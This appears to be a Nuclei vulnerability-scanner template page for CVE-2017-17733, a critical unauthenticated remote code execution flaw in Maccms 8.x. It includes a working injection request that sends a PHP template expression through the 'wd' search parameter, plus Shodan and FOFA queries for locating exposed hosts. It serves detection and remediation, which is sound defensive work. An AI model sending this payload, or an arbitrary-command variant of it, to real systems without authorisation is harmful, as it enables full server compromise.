CVE-2017-17733: Maccms 8.x - Remote Code Execution
- Template: CVE-2017-17733
- Name: Maccms 8.x - Remote Code Execution
- Description: Maccms 8.x is vulnerable to unauthenticated remote code execution via the 'wd' (search keyword) parameter of index.php?m=vod-search (CVE-2017-17733). The MacCMS template parser compiles the {if-A:<expr>}...{endif-A} tag into PHP that evaluates <expr>, so a crafted wd value runs arbitrary PHP (and OS commands via system/exec). This template injects print(md5(<nonce>)) and confirms code execution when the nonce's md5 is reflected in the response. The payload is PHP-native (no shell command), so it fires on both Windows and Linux hosts.
- Impact: An unauthenticated remote attacker executes arbitrary PHP and OS commands as the web-server user, fully compromising the Maccms host.
- Remediation: Upgrade Maccms to a fixed release and disable evaluation of user-controlled template {if} expressions. Restrict access to the application.
- Severity: critical
- Authors: DhiyaneshDk
- Tags: cve, cve2017, maccms, rce, injection, vkev
- References: https://nvd.nist.gov/vuln/detail/CVE-2017-17733, https://www.cvedetails.com/cve/CVE-2017-17733/
- Cves: CVE-2017-17733
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2017/CVE-2017-17733.yaml
- Digest: 4a0a00473045022100c3fe18b1a760f60cafe99828e4ae50b162af80e8ac85c29ed31aa20ac1d21c600220777f34eddfb33ff08394b870ed6054089046f492296ff747813e57a20119846a
- Created at: 2026-11-18T07:56:46Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 6
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-17733.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-94
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.69457
- Epss percentile: 0.99376
- Not known: cpe
Metadata
- Fofa-query: app="maccms"
- Max-request: 1
- Shodan-query: http.html:"MacCms"
- Verified: yes
Labels
- Name: Maccms - Command Injection
- Impact: Attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
- Remediation: Update to the latest version of Maccms 8.x or apply security patches that sanitize the wd parameter.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2017-17733
- Not known: requirements
```yaml
id: CVE-2017-17733
info:
name: Maccms 8.x - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
Maccms 8.x is vulnerable to unauthenticated remote code execution via the 'wd' (search keyword) parameter of index.php?m=vod-search (CVE-2017-17733). The MacCMS template parser compiles the {if-A:<expr>}...{endif-A} tag into PHP that evaluates <expr>, so a crafted wd value runs arbitrary PHP (and OS commands via system/exec). This template injects print(md5(<nonce>)) and confirms code execution when the nonce's md5 is reflected in the response. The payload is PHP-native (no shell command), so it fires on both Windows and Linux hosts.
impact: |
An unauthenticated remote attacker executes arbitrary PHP and OS commands as the web-server user, fully compromising the Maccms host.
remediation: |
Upgrade Maccms to a fixed release and disable evaluation of user-controlled template {if} expressions. Restrict access to the application.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-17733
- https://www.cvedetails.com/cve/CVE-2017-17733/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-17733
epss-score: 0.69457
epss-percentile: 0.99376
cwe-id: CWE-94
metadata:
verified: true
max-request: 1
shodan-query: http.html:"MacCms"
fofa-query: app="maccms"
tags: cve,cve2017,maccms,rce,injection,vkev
variables:
num: "{{rand_int(10000000, 99999999)}}"
http:
- raw:
- |
GET /index.php?m=vod-search&wd={if-A:print(md5({{num}}))}{endif-A} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, md5(num))"
condition: and
digest: 4a0a00473045022100c3fe18b1a760f60cafe99828e4ae50b162af80e8ac85c29ed31aa20ac1d21c600220777f34eddfb33ff08394b870ed6054089046f492296ff747813e57a20119846a:922c64590222798bb761d5b6d8e72950
```